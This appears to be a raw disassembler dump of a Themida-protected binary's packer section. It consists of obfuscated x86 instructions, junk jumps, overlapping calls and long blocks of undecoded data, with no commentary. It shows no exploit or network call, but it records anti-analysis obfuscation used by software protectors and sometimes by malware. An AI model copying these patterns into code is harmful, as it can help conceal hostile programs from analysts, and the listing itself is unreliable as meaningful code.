Themida_:loc_5B4053j mov dx, 0BB51h call near ptr loc_5B4072+6 call far ptr 1386h:6F578C15h fist dword ptr [ebx+106ED0ECh] loc_5B4072: ; CODE XREF: Themida_:005B4060p mov byte ptr [esi-0A506B26h], 0B3h push edx pop edx jnz loc_5B4087 jp $+6 loc_5B4087: ; CODE XREF: Themida_:005B407Bj jmp loc_5B40A0 ; --------------------------------------------------------------------------- dd 1957E6BEh, 0A4E3E228h, 2ADD73Ch, 0BF4F810Dh, 26155461h ; --------------------------------------------------------------------------- loc_5B40A0: ; CODE XREF: Themida_:loc_5B4087j call sub_5B40B2 xchg eax, ebx sti insb push cs ror dword ptr [ecx+4Dh], 1 iret ; --------------------------------------------------------------------------- db 0D9h, 3Bh, 34h db 43h, 14h ; =============== S U B R O U T I N E ======================================= sub_5B40B2 proc near ; CODE XREF: Themida_:loc_5B40A0p stc pop edx sub edx, 6B18F759h sub dx, 0E2F6h sbb al, 0FDh cmc jle loc_5B40CB mov edx, esi loc_5B40CB: ; CODE XREF: sub_5B40B2+11j mov edx, 7376CCDEh sub dx, 453Bh adc bx, 0A39Fh mov esi, 18065396h js loc_5B40F5 jmp loc_5B40F5 ; --------------------------------------------------------------------------- dw 4B80h dd 937DF387h, 64DCC54Eh db 4Ch ; --------------------------------------------------------------------------- loc_5B40F5: ; CODE XREF: sub_5B40B2+2Dj ; sub_5B40B2+33j mov ebx, 29626167h mov ah, 0Ah and edx, 50346760h mov esi, 9751EAFh call near ptr loc_5B410E+3 xor ah, dh loc_5B410E: ; CODE XREF: sub_5B40B2+55p call near ptr 8BC17074h sub_5B40B2 endp ; sp-analysis failed rcr dword ptr [ebx-17h], cl adc [eax], al ; --------------------------------------------------------------------------- dd 256D0000h, 0A661A1BBh, 2EBE3779h, 0B917BEFEh, 1CBBF6AEh dd 664B82DCh, 0C18BFA8Bh, 0AE9h, 76697C00h, 5559132Ch dd 0F565972h, 0C87h, 7E900h, 164F0000h, 0E874F1E7h, 2830FE1h dd 0B1000000h, 66D38B23h, 0DC38E181h, 809DE380h, 0BA6637F7h dd 0F080EE0Eh, 12E801h, 1E900000h, 5D7D4D37h, 602DA7C1h dd 0CC0308Ch, 35038AC6h, 8B5ECC8Ah, 0DE952F2h, 23000000h dd 0BD0E609Fh, 667F4DF9h, 0C19CE950h, 0C381665Bh, 0EBB2396Dh dd 12E8h, 27678300h, 0E72C2AB2h, 0B8A8BDB7h, 243FAE3h dd 0F6E1DD3h, 283h, 5F5F5000h, 58A0Fh, 80530000h, 0FC5A4DC8h dd 11E8h, 0C94CA000h, 79C388C3h, 82AD57EAh, 0B37F40DBh dd 10E8EEFCh, 47000000h, 9E56DFFAh, 2F527473h, 926EA2B2h dd 0FE20198h, 5B5EF1BFh, 0F67DB80h, 0BE8C8BFh, 0F8000000h dd 0C929E138h, 0BE93EDC6h, 0E280A152h, 0E9F5597Fh, 12h dd 0ED84467Fh, 5DA15F59h, 0E7D4E15Dh, 6B56EAFh, 0BBBE458Bh dd 0E9439F84h, 5, 26100E9Dh, 2CD381B4h, 664533E8h, 0E917ACB8h dd 12h, 93487BF5h, 795246Bh, 6BA4707Fh, 9447E507h, 5CBE039Ah dd 0F5682B2Dh, 74E38166h, 60D6BFB6h, 0BF66285Ah, 8160F973h dd 0C95138C3h, 8D0F616Bh, 8, 52C88152h, 5A09DDF2h, 0D751E5BAh dd 0AE91Eh, 28220000h, 0AD0836C5h, 358B96BDh, 5E9h, 0F657DD00h dd 0BA6626A0h, 2BBB3D3Bh, 8B3980ABh, 6BE181C1h, 5163176Ch dd 0FBB6C281h, 0E95810C2h, 5, 7F5B2EC5h, 6880F64h, 81000000h dd 9AA92BC2h, 5800F36h, 52000000h, 59DABF0Fh, 10E9E18Ah dd 17000000h, 0FB93D83Ch, 49D10E6Ch, 3BD9CF4Dh, 51144334h dd 5E958F5h, 82000000h, 0D274F3F0h, 0BE97AB0h, 1E000000h dd 0CE13CB1Dh, 0F2871434h, 0BF0FED52h, 59EE81C7h, 0F77DD97h dd 887h, 810F5700h, 0 ; --------------------------------------------------------------------------- pop eax jmp loc_5B4341 ; --------------------------------------------------------------------------- dw 8BCDh ; --------------------------------------------------------------------------- cli pop ebx stosd jnz short loc_5B4389 loc_5B4341: ; CODE XREF: Themida_:005B4335j mov ecx, esi xor ecx, 0B082470h stc jnb loc_5B435B ja loc_5B435B mov ecx, 4759BBCAh loc_5B435B: ; CODE XREF: Themida_:005B434Aj ; Themida_:005B4350j jmp loc_5B4373 ; --------------------------------------------------------------------------- dd 0FA82B24Fh, 161755CCh, 2BED2EBFh, 6F5EB301h db 87h, 0A7h, 0C3h ; --------------------------------------------------------------------------- loc_5B4373: ; CODE XREF: Themida_:loc_5B435Bj mov edi, 6601474Bh jmp loc_5B4390 ; --------------------------------------------------------------------------- db 0F5h, 9Eh, 50h dd 4DA1EFF1h, 349003B7h db 0C6h ; --------------------------------------------------------------------------- loc_5B4389: ; CODE XREF: Themida_:005B433Fj bound edx, [edx-43F06F3Ch] inc ebx loc_5B4390: ; CODE XREF: Themida_:005B4378j push edi pusha cmc jnz $+6 popa pop ecx mov edi, 3D42EFEh push ebx jns loc_5B43AA movsx edx, si loc_5B43AA: ; CODE XREF: Themida_:005B43A1j pop ebx mov si, dx mov al, cl pusha push ecx and ax, 0E5BCh pop ecx mov esi, ebx popa jp loc_5B43C7 loc_5B43C1: ; CODE XREF: Themida_:005B4403j add eax, 75BB7006h loc_5B43C7: ; CODE XREF: Themida_:005B43BBj sbb eax, 104A4208h call loc_5B43DE mov al, ds:9A6B5951h nop add eax, 0B1D6BBD4h lodsb loc_5B43DE: ; CODE XREF: Themida_:005B43CDp push ecx mov esi, eax pop eax pop edi jmp loc_5B43FB ; --------------------------------------------------------------------------- dd 8D669244h, 659A4ECEh, 0D19AD28Bh, 0FEACD2BDh db 0ACh, 0AAh, 0D5h ; --------------------------------------------------------------------------- loc_5B43FB: ; CODE XREF: Themida_:005B43E3j movzx edi, di jmp loc_5B4412 ; --------------------------------------------------------------------------- jecxz short loc_5B43C1 xlat sub eax, 0C3FD99D0h fmul qword ptr [edx] mov ds:27551C16h, al loc_5B4412: ; CODE XREF: Themida_:005B43FEj mov dl, bh mov ecx, 5BD43087h mov cx, 0BF30h adc esi, 4CA5C090h jbe loc_5B443C ja loc_5B443C jmp loc_5B443C ; --------------------------------------------------------------------------- dd 0EC9F3F2Bh, 9E38DF3Ch ; --------------------------------------------------------------------------- loc_5B443C: ; CODE XREF: Themida_:005B4423j ; Themida_:005B4429j ... jge $+6 sub di, 5D44h or ebx, 111F9CFCh cmc jmp loc_5B445B ; --------------------------------------------------------------------------- db 6Eh dd 3A1929D1h db 6Bh, 4Dh, 0E9h ; --------------------------------------------------------------------------- loc_5B445B: ; CODE XREF: Themida_:005B444Ej jmp loc_5B446A ; --------------------------------------------------------------------------- dd 682DBFABh, 0EC594811h db 36h, 0A1h ; --------------------------------------------------------------------------- loc_5B446A: ; CODE XREF: Themida_:loc_5B445Bj mov al, bh add al, 0Eh mov ch, 66h call sub_5B4480 ; CODE XREF: sub_5B4480+63j adc ebx, esp ; --------------------------------------------------------------------------- dd 0AFD8A8DDh, 0B9DCE8A9h ; =============== S U B R O U T I N E ======================================= sub_5B4480 proc near ; CODE XREF: Themida_:005B4471p sub ebx, 0E64C1DAh pop ebx jmp loc_5B449C ; --------------------------------------------------------------------------- dd 2194847Fh, 631233Ah, 559498CFh, 0D56CD88Fh ; --------------------------------------------------------------------------- loc_5B449C: ; CODE XREF: sub_5B4480+7j sbb dx, 0D36Fh add edi, 3907D9ECh mov al, 0EAh mov edi, edx xor ax, 0DCC9h or ah, 0B8h mov edx, 5673960Ch pusha jmp loc_5B44C5 ; --------------------------------------------------------------------------- dw 6528h dd 220B2451h db 0FEh ; --------------------------------------------------------------------------- loc_5B44C5: ; CODE XREF: sub_5B4480+39j mov cl, 0D4h popa sbb dh, 0FFh ; CODE XREF: sub_5B4480+61j mov dh, cl push edi mov cl, 0BAh pop esi cmc sub ecx, 7483E9A8h mov bx, 0FF27h call near ptr loc_5B44F1+2 js short near ptr loc_5B44C8+2 jnb short near ptr loc_5B4471+3 push ss daa cmp ecx, [edx-9C3CA9Ah] das push ss xchg edx, esp loc_5B44F1: ; CODE XREF: sub_5B4480+5Cp cmp eax, 6E825h sub_5B4480 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- sub [edx+2B8076D5h], cl jl $+6 pop esi pop edx jmp loc_5B4516 ; --------------------------------------------------------------------------- db 75h dd 38396885h, 7135EDA8h db 68h, 65h ; --------------------------------------------------------------------------- loc_5B4516: ; CODE XREF: Themida_:005B4506j mov edx, 73B7ED01h jge loc_5B4538 jmp loc_5B4538 ; --------------------------------------------------------------------------- dw 5B77h dd 7336FE76h, 5B2CFE2Ch, 3B01E315h, 4A602DCh ; --------------------------------------------------------------------------- loc_5B4538: ; CODE XREF: Themida_:005B451Bj ; Themida_:005B4521j mov ax, 0B67Fh jnp loc_5B4548 jb $+6 loc_5B4548: ; CODE XREF: Themida_:005B453Cj pusha mov dx, 3779h stc popa movsx edi, dx jo loc_5B4563 ja loc_5B4563 mov eax, 215C2BE0h loc_5B4563: ; CODE XREF: Themida_:005B4552j ; Themida_:005B4558j mov dx, bx call near ptr sub_5B457B cld setalc mov esp, 0F3A513D8h wait sub esp, [edi-21h] cmp eax, 62CFF00Eh ; =============== S U B R O U T I N E ======================================= sub_5B457B proc far ; CODE XREF: Themida_:005B4566p ; FUNCTION CHUNK AT 005B4653 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005B467B SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005B46A6 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005B46D0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005B46EE SIZE 00000035 BYTES ; FUNCTION CHUNK AT 005B4750 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005B4773 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005B4781 SIZE 00000007 BYTES adc esi, 7AA2844Eh pop esi mov dl, ah cld mov si, 0D2AFh push ebx jmp loc_5B45A3 ; --------------------------------------------------------------------------- db 5 dd 1DFC1899h, 0DF284C51h, 7AAC6E74h, 6967E5E7h ; --------------------------------------------------------------------------- push dword ptr [ebx] scasb loc_5B45A3: ; CODE XREF: sub_5B457B+Fj pop edx mov cx, dx jmp loc_5B45B7 ; --------------------------------------------------------------------------- dd 0CCDD5F65h, 0EC2B2286h db 28h, 0FFh, 0B8h ; --------------------------------------------------------------------------- loc_5B45B7: ; CODE XREF: sub_5B457B+2Cj mov edi, 4A6D47C9h jmp loc_5B45D4 ; --------------------------------------------------------------------------- mov ebx, 0FEDCB700h pop esp inc ebp add cl, dl jmp short loc_5B462C ; --------------------------------------------------------------------------- dd 0A07A079Ah, 6653DC3Ah ; --------------------------------------------------------------------------- loc_5B45D4: ; CODE XREF: sub_5B457B+41j push edx stc pop ecx xor ecx, 7BBC855Ch jmp loc_5B45F6 ; --------------------------------------------------------------------------- db 90h ; --------------------------------------------------------------------------- adc [eax], cl ja short loc_5B4653 or dl, dl retn ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 49h dd 0AE67C4F7h, 0E8D98AD4h db 0ECh, 0D7h ; --------------------------------------------------------------------------- loc_5B45F6: ; CODE XREF: sub_5B457B+62j mov bl, dl cld jmp loc_5B4611 ; --------------------------------------------------------------------------- dw 95DDh db 0C6h, 0A1h, 6 ; --------------------------------------------------------------------------- loc_5B4603: ; CODE XREF: sub_5B457B+E2j mov edi, 0B29091DEh in eax, dx mov dword ptr [edx], 0AC5D1605h xchg eax, ebx out dx, eax loc_5B4611: ; CODE XREF: sub_5B457B+7Ej pusha cld popa mov ch, 0FBh add ah, 14h jmp loc_5B4632 ; --------------------------------------------------------------------------- dw 4E4Ch dd 0BCAE1FC8h, 920DEDF0h, 910D92B5h ; --------------------------------------------------------------------------- loc_5B462C: ; CODE XREF: sub_5B457B+4Fj and eax, 2ED2F797h ; --------------------------------------------------------------------------- db 6Ah ; --------------------------------------------------------------------------- loc_5B4632: ; CODE XREF: sub_5B457B+9Ej pusha call near ptr locret_5B4647+2 xchg eax, esp mov ecx, 0DFB5917Dh mov ebx, 6FB2AA33h imul esp, [eax], 73h push esi locret_5B4647: ; CODE XREF: sub_5B457B+B8p retf 0E82Ah sub_5B457B endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 13h dd 607D0000h db 3Ch, 0F3h, 80h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B457B loc_5B4653: ; CODE XREF: sub_5B457B+6Aj mov ss, bx dec ecx maxps xmm0, oword ptr [edi-32h] adc byte ptr [ebx], 2Dh jz short loc_5B4603 jg short near ptr loc_5B4695+3 pop edi pop ebx movsx edx, di popa jmp loc_5B467B ; END OF FUNCTION CHUNK FOR sub_5B457B ; --------------------------------------------------------------------------- dd 0A51D68D9h, 0F8A1401Dh, 0DB7C6F0Dh ; --------------------------------------------------------------------------- mov al, [esi] xchg eax, edx ; START OF FUNCTION CHUNK FOR sub_5B457B loc_5B467B: ; CODE XREF: sub_5B457B+ECj xor esi, 6406B605h jnb loc_5B4688 cld loc_5B4688: ; CODE XREF: sub_5B457B+106j push edi mov edx, 137F8AEAh pop esi sub eax, 7E7B0907h loc_5B4695: ; CODE XREF: sub_5B457B+E4j jmp loc_5B46A6 ; END OF FUNCTION CHUNK FOR sub_5B457B ; --------------------------------------------------------------------------- dw 0A814h dd 0A16E23A9h, 91F6961Eh ; --------------------------------------------------------------------------- clc popf ; START OF FUNCTION CHUNK FOR sub_5B457B loc_5B46A6: ; CODE XREF: sub_5B457B:loc_5B4695j mov dx, 876Fh mov dh, 41h jl loc_5B46B5 mov di, ax loc_5B46B5: ; CODE XREF: sub_5B457B+131j and edi, 157A53B2h or bl, 4Ah cmc jmp loc_5B46D0 ; END OF FUNCTION CHUNK FOR sub_5B457B ; --------------------------------------------------------------------------- pusha push ss retn 0A05Dh ; --------------------------------------------------------------------------- db 0C7h, 0D7h, 0Eh ; --------------------------------------------------------------------------- retf 0D7F2h ; --------------------------------------------------------------------------- db 13h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B457B loc_5B46D0: ; CODE XREF: sub_5B457B+144j xor ax, 55Ch push ebx jmp loc_5B46EE ; END OF FUNCTION CHUNK FOR sub_5B457B ; --------------------------------------------------------------------------- db 2Ah dd 1793820h, 0DF5B4EF1h, 34611F01h, 0D30F8DE1h db 0F8h, 7Fh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B457B loc_5B46EE: ; CODE XREF: sub_5B457B+15Bj pop esi clc push edi pusha mov edi, ebx mov ah, 91h popa pop eax sub ax, 0C310h jnz near ptr loc_5B4715+8 pusha mov dx, 0B0DCh call near ptr loc_5B4715+6 jle short loc_5B4750 mov cl, 0A5h cmp ebx, edx loop loc_5B4781 loc_5B4715: ; CODE XREF: sub_5B457B+18Dp ; sub_5B457B+182j mov dword ptr [ebx-16C4231Eh], 0E6806158h sub ch, al adc al, [eax] ; END OF FUNCTION CHUNK FOR sub_5B457B ; --------------------------------------------------------------------------- db 0 dd 0EC8CDC00h, 0C776B29Bh, 0D42F64DDh, 0C60F3AC5h, 5A6084DBh dd 3C7ABA60h, 0BB6637E7h, 0F618F71h, 0E860CABFh, 7, 0A9A9FEF3h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B457B loc_5B4750: ; CODE XREF: sub_5B457B+192j adc ch, [edx+5E61605Bh] popa cmc cmc push esi jmp loc_5B4773 ; END OF FUNCTION CHUNK FOR sub_5B457B ; --------------------------------------------------------------------------- db 45h dd 237F3031h, 3285D7E4h, 4F1D7A82h, 6B653A7Bh db 0E6h, 0BAh, 10h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B457B loc_5B4773: ; CODE XREF: sub_5B457B+1DFj pop eax jmp near ptr loc_5B4781+4 ; END OF FUNCTION CHUNK FOR sub_5B457B ; --------------------------------------------------------------------------- aad 0B1h xchg eax, ecx popa idiv byte ptr [edx+29h] cld ; START OF FUNCTION CHUNK FOR sub_5B457B loc_5B4781: ; CODE XREF: sub_5B457B+198j ; sub_5B457B+1F9j mov esp, 0E94CC5BEh or al, 0 ; END OF FUNCTION CHUNK FOR sub_5B457B ; --------------------------------------------------------------------------- dd 0DF910000h, 0D4693A27h, 0B0DFC42Fh, 8B6636EFh, 0F840FCEh dd 0E8000000h, 7, 95B19161h, 8B94E502h, 0B70F5BF1h, 0FEB70FD1h dd 0F8FA8B66h, 0CE8h, 0BF770100h, 0D64E3299h, 44E4724Eh dd 0F605840h, 681h, 850F00h, 8A000000h, 816661C7h, 0F3477C2h dd 0AE9CEBFh, 0DA000000h, 57DB0771h, 6066CF34h, 38D0F4Fh dd 80000000h, 0EE959DCh, 0BF000000h, 5FBA6FDBh, 6F1B2D58h dd 6E4A787Ah, 9A8CBAAAh, 0B8665687h, 10E99E17h, 0C0000000h dd 698DE341h, 0FFC2D865h, 0C84DB852h, 0B570A254h, 39B96666h dd 77C08186h, 80737153h, 0E7800DC4h, 6E86014h, 0B1000000h dd 0E2D339A5h, 12E96Ch, 7070000h, 647B8181h, 0A44FE0FDh dd 0E397F1E8h, 0CF53730Bh, 0F38B665Eh, 0C1BF0F61h, 880FF88Ah dd 1Bh, 15800Fh, 0FE80000h, 7A000000h, 0CF4EBD95h, 8CFD1850h dd 8F8F63Fh, 0E95A282Fh, 0Ch, 0EC267866h, 0A91BB755h, 5AAA0B8Ch dd 0DF8BEAB7h, 0E8FA8B66h, 9, 0DEE5EC96h, 3D8926BFh, 5BD1B188h dd 0B2B86660h, 0F88B60A5h, 61616160h, 60D7B70Fh, 66F98B66h dd 61B5BEB9h, 38E0Fh, 0F7800000h, 609DB5E8h, 8E0FF3B4h dd 6, 2A6AE781h, 0F9610C3Ah, 26D28166h, 7120BEF8h, 11E94779h dd 33000000h, 2126E735h, 8C2FCC94h, 38A95FD1h, 540A138h dd 0CE9h, 0EBE56300h, 597542B4h, 0F04BBB97h, 0FA8B66C2h dd 9E9F9h, 6E3F0000h, 44CF6205h, 0F9A1C4Dh, 0C8Ch, 68B0F00h dd 81000000h, 5AE15FEAh, 0B966F542h, 0E860856Ah, 5, 1319C043h dd 5FC88B14h, 546DD0B9h, 8166613Dh, 0E93350C2h, 5, 0F4819096h dd 0FEDB40Bh, 0F181F2B7h, 660BC131h, 0EE9h, 15B74F00h dd 35FC7027h, 88D508Ah, 0F3BB9AAh, 880h, 28D0F00h, 60000000h dd 12E961h, 0D17C0000h, 7DA828AFh, 0F3C1F14Ah, 44EEBEF7h dd 181ECB32h, 92C88166h, 0F4BE66D0h, 0E8C88B31h, 0Fh, 0DAE7D9B3h dd 0F581F3EBh, 0BC7A3BB7h, 66D62A9Ch, 0E95EC88Bh, 0Ah dd 799C010Ah, 0C0999D9Dh, 9E9161Fh, 4F000000h, 0EF801AA8h dd 36E26D06h, 0BE8h, 33D1B800h, 31EB50D8h, 0B3BC5FFEh dd 0AE959h, 22C70000h, 0B38AD662h, 0C0A8E99h, 44D280F5h dd 6D921BFh, 6DA8126h, 0E929FC07h, 0Fh, 47214B6Ah, 0F8F5A890h dd 7804201h, 0E93A3F20h, 9, 0AF9D83B3h, 0E9DBF164h, 0DBBF0FE5h dd 53F88B66h, 14E8h, 64001200h, 505DB220h, 0ED7281E6h dd 1A233587h, 0EF6586E9h, 12E855h, 0C6D30000h, 0F29BF47h dd 2CE2133Fh, 0BE4AA8DFh, 0B88F354Bh, 0B65A5859h, 0C1CAB841h dd 0F607A42h, 486h, 0FEBF6600h, 0E78161FCh, 3D50082Eh dd 0B913BFF8h, 0BB6636C6h, 14E9260Ah, 0F6000000h, 0AE0D31B8h dd 0EF755002h, 0F9F6CE65h, 0C848EA90h, 0E90E37C9h, 0Dh dd 0A40F882Fh, 0C86599A8h, 8EFE27Ch, 13E9BCh, 9C200000h dd 8A86646Eh, 15CAC3C3h, 7324397Ch, 0D6AE591Ah, 0E7F0806Eh dd 7E8h, 0D1A18B00h, 0E6F0EF1Ah, 68B0Fh, 8B0F0000h, 0 dd 5850F58h, 0B9000000h, 3C968BA6h, 0B866C18Bh, 60561716h dd 0FF58C881h, 0CE8539Dh, 7C000000h, 6A85BF93h, 66DB989Ch dd 59C6A624h, 13E95E61h, 1F000000h, 2F24B5D4h, 0F8BF9014h dd 0F955B60Bh, 2B351FF5h, 80F815E9h, 0C68B8DD0h, 81C7B5F5h dd 4F596EF6h, 0D3B70F7Fh, 6635CE80h, 0B60FCAB8h, 0A0B3600Ch dd 14E961F9h, 86000000h, 2C3EB2F3h, 0E11EF29Bh, 0E45EA57h dd 5D065FC8h, 6015D25Ch, 81F28B66h, 66A321F7h, 0C380612Ah dd 80C28BFCh, 0BF6625F1h, 81661C42h, 0E9B587F0h, 14h, 5C6BCB35h dd 0A15C3A20h, 0EB79223Ch, 0E96E9B88h, 0B860D992h, 0E9C68B66h dd 11h, 5BFB004Fh, 0D2DDBDCAh, 9C4EF80Ch, 61EADB1Ch, 0FCE8B19h dd 0BA66C9B7h, 11E90111h, 47000000h, 0B65BB715h, 7E651F65h dd 51887155h, 99D13EF1h, 0D638BF66h, 0AE9h, 0ED952A00h dd 8665F7A0h, 0B909BAE9h, 22C1C4EDh, 38F0F60h, 66000000h dd 6660D78Bh, 66D0C3B8h, 61811BBBh, 0CABF0F61h, 0B2F3BF0Fh dd 0DF81F5E5h, 19FAFBFh, 0F885C681h, 81665D6Bh, 0FEC41F6h dd 0CB8BF3B7h, 8880Fh, 81510000h, 30482BD3h, 0E7815A7Fh dd 4E27AE1Ah, 7E9h, 4A402000h, 56DBA8C6h, 36BB6660h, 0FE948h dd 39370000h, 14B4655Dh, 0B1220407h, 9DB7C7C0h, 0C28B617Bh dd 13E9h, 46B00000h, 0D441AB27h, 0C09C3287h, 0A35F4BB8h dd 55242BBAh, 0A9DF8166h, 0E181669Bh, 0C18B4EF6h, 0FE5ED281h dd 0D1807007h, 0BBFA8B46h, 79A491CBh, 12E860F9h, 80000000h dd 0C55A1688h, 688E87E0h, 4599C878h, 0FDF12EFBh, 0AAEA81ABh dd 5A24DF95h, 561DEBBFh, 0C2B66150h, 66D08B66h, 6660CF8Bh dd 62B3CB81h, 14E8h, 0E006C800h, 0FB8E78FEh, 93215FD9h dd 0AEC55032h, 62D77B8Ah, 8E879h, 35430000h, 4AF9E0F7h dd 5A5F6555h, 13E961h, 0E9F60000h, 0FD2A8D0Ah, 0CA4B8516h dd 84546A8Dh, 0D687F8CBh, 11E925h, 68FD0000h, 0A21A5201h dd 4E9BA886h, 7DE5E5DDh, 8B3F45E5h, 14E081F7h, 0E951A268h dd 5, 6961DAE5h, 0BE60FC61h, 0F80381Dh, 0EE8h, 79473000h dd 0F7E8FA66h, 0E2C83B9Dh, 0E899EA43h, 10h, 0D9893A47h dd 457AB6Dh, 82F49272h, 0E430309Ch, 0B6615F5Eh, 6FBA66FCh dd 0D08166C3h, 0BF0FA214h, 0FE8C9h, 6A240000h, 67D72605h dd 0B2C23DCBh, 5DD0D137h, 14E936h, 0BA220000h, 9BC6CF94h dd 4AFC2FBCh, 0FFB8C4FAh, 7CD8FF88h, 665F3F12h, 0E52EEA81h dd 11E8h, 7DB99400h, 0BBDFB591h, 6FB2AA33h, 5673206Bh dd 0BF0F2ACAh, 0C8805AD8h, 6E92Ah, 7390000h, 0DFB3B0D3h dd 0F8F805B5h, 0F9D7B70Fh, 0D94CF781h, 0AE90196h, 56000000h dd 36D6A6F4h, 0A815DE1Bh, 0E9E38A40h, 0Ah, 9E64818h, 0F717BCA3h dd 0FE8B6052h, 3880Fh, 8B660000h, 31F680C7h, 0CACF8166h dd 0D0B70FABh, 0AE8h, 0CA02D800h, 8B1336DEh, 5134AC90h dd 81665B5Bh, 80B773F7h, 66F518EEh, 247FC781h, 0FD8B70Fh dd 8166CBBFh, 0E98D60F0h, 0Ah, 0BE464968h, 73687FAFh, 810FC69Eh dd 3, 80F7BF0Fh, 94B63AE5h, 8C0F4EB1h, 5, 947691B8h, 0CBBF0F3Ch dd 60EE8166h, 0FA8B660Dh, 28A0Fh, 7B10000h, 5E8h, 0E36A9200h dd 0F48A99ACh, 0E8526059h, 10h, 9D1AEFE4h, 7F7F1C60h, 0FC9F0B8h dd 17BF15DFh, 6652595Eh, 11F1E081h, 73B0615Eh, 0BBCBB70Fh dd 4CBF5E50h, 158A0Fh, 10E90000h, 7E000000h, 0A7308903h dd 34DFE812h, 934C9F7h, 60B38C31h, 16830Fh, 11E90000h dd 3B000000h, 0EA2305E9h, 0F2861CF9h, 35E0235Bh, 83FE8D16h dd 0FC59B966h, 66F28B61h, 0E86387BAh, 8, 54B0DEFCh, 0F9E3CDAAh dd 816659FCh, 0BF3C91D9h, 2B22B3E9h, 0B52933BBh, 0DFBF0F79h dd 0DF8B66F8h, 80D38BF8h, 0F98B79E5h, 5820Fh, 32B80000h dd 0E8599D85h, 0Eh, 0D67F7D67h, 512657CDh, 48189567h, 0E96009E6h dd 0Dh, 33935010h, 1A1EFD62h, 0CA0B6CA6h, 0F59614Dh, 8F0FD0BFh dd 3, 0FF38B66h, 883h, 0F7815100h, 73CA7223h, 0B2C28059h dd 63C68166h, 0CAB70F16h, 0DEE88166h, 0FF48AF4h, 381h dd 0DF8B6600h, 8A35F680h, 6BE381C7h, 0F115AA9h, 381h, 0D08B6600h dd 0D3DE8166h, 8E8B2h, 531F0000h, 0A8262CFBh, 9E95ABBh dd 2E000000h, 28379394h, 0BCA79A00h, 0E881FC5Fh, 5E92EEE1h dd 296BF66h, 0DE935B7h, 65000000h, 392856D1h, 0B4908378h dd 0FC5EAE91h, 71BF6652h, 2DB75F23h, 0FE9h, 0AE9BC800h dd 0A68E000h, 716068C6h, 0B0586CADh, 0FE9h, 0F5CE6200h dd 6209174Eh, 56A39BEBh, 9EDFB23Ah, 4860Fh, 0BF660000h dd 8166249Eh, 53C734C6h, 11E85EF5h, 74000000h, 0CA232565h dd 0C5545175h, 53D47DBAh, 0BD1A0F5Eh, 0C318E081h, 8B5A4267h dd 12E8DEh, 0AB300000h, 0F8DE3428h, 6D46C620h, 0D33C4022h dd 0D8F28597h, 2820Fh, 5B560000h, 0FD38B59h, 2088h, 0EE800h dd 0A74F0000h, 50D2791Bh, 0C8BFA025h, 0E328D0D6h, 7E9h dd 34CC2B00h, 93D90A2h, 0FE85Bh, 55900000h, 92C84BF3h dd 64EF0EA2h, 0C8790131h, 0C6B70FC0h, 0C68B665Eh, 6700C381h dd 0B2B11883h, 10E9h, 739BDB00h, 5F44D163h, 0D3BF7162h dd 0D0ACAC28h, 0F38BF9AEh, 66C2BF0Fh, 0D081F28Bh, 1986587Ah dd 0B966C68Bh, 0BB666AF7h, 8B666D93h, 0AE953D7h, 97000000h dd 0FD928577h, 28A0F4Eh, 43B85894h, 6065831Eh, 0B75FBB66h dd 12E961h, 0F43D0000h, 9B258D47h, 0E7C19DD5h, 3994BC32h dd 8F4104Ch, 0D7E680F9h, 6C281FCh, 8B0737FBh, 0DABF0FD0h dd 8E860h, 0EB870000h, 548CC48Eh, 0BE904D6h, 0D5000000h dd 9E3B5BEAh, 0D4BD8B9Eh, 0BB5E2113h, 0BEF7DD5h, 5E961h dd 0D0E0000h, 0F731135h, 687h, 1ACF8100h, 0F46290Ah, 0B8Dh dd 5830F00h, 66000000h, 7289F181h, 0CE8F8h, 8DB70000h dd 0D885A515h, 11222462h, 6060F042h, 9E861h, 0D6E50000h dd 292D26ABh, 596894ADh, 6CBF5E61h, 0E91ACE86h, 9, 0BBD0DFA4h dd 1B9F04E2h, 0F08166F1h, 8B564099h, 0EE95AD3h, 0BC000000h dd 6CD588D5h, 825A1560h, 0B67AF512h, 12E926h, 2A890000h dd 0D736DD1h, 3F244548h, 0B19E241Eh, 7735C364h, 0AE9h dd 0A3D62D00h, 54EDC163h, 51371131h, 4BC98160h, 0F90D9C5Ah dd 8F0F5E61h, 1, 6E9F9h, 0E3100000h, 806DCC12h, 0BC58C181h dd 0F56285Ch, 0E85FCEB7h, 7, 6022CD03h, 0E8B578ABh, 0Bh dd 0A978AFE1h, 1D93FA93h, 0FBFD2AEh, 5E58CEB7h, 10E9h dd 27A6F700h, 26FB7DCBh, 0DB50E87Dh, 0A8461B3Eh, 11BE665Bh dd 68E0FAAh, 0F000000h, 89h, 9E800h, 13700000h, 0BBA32E1Dh dd 0E9766037h, 0Ah, 0EC7D42ECh, 0F3CBC1Ah, 0E95BDAA8h dd 9, 2F16C7A9h, 0DBCAC1B6h, 12E95388h, 0E2000000h, 0B7B45EB6h dd 0DC31B9E0h, 88306410h, 3288BC26h, 80F55BC7h, 830F85C3h dd 1Ch, 14E8h, 0A63A2200h, 52496C0Ch, 721CA512h, 0A00E6D7Ah dd 0A4EAD44Eh, 5A0EB665h, 0B960D38Ah, 27A60B34h, 820FF561h dd 0Ch, 6820Fh, 840F0000h, 0 ; --------------------------------------------------------------------------- add al, 0C3h jmp loc_5B52F6 ; --------------------------------------------------------------------------- dd 8991E91Fh, 77A38A66h, 856DBB21h ; --------------------------------------------------------------------------- shl cl, 1 loc_5B52F6: ; CODE XREF: Themida_:005B52E3j jmp loc_5B5305 ; --------------------------------------------------------------------------- db 1Fh dd 0AB09475h, 2B84343Eh db 3Eh ; --------------------------------------------------------------------------- loc_5B5305: ; CODE XREF: Themida_:loc_5B52F6j adc bh, 0FAh jmp loc_5B5321 ; --------------------------------------------------------------------------- db 8Dh, 4Dh, 4Bh dd 36CF0412h, 0C7D40112h, 94E8F9Bh, 0E32D105Bh 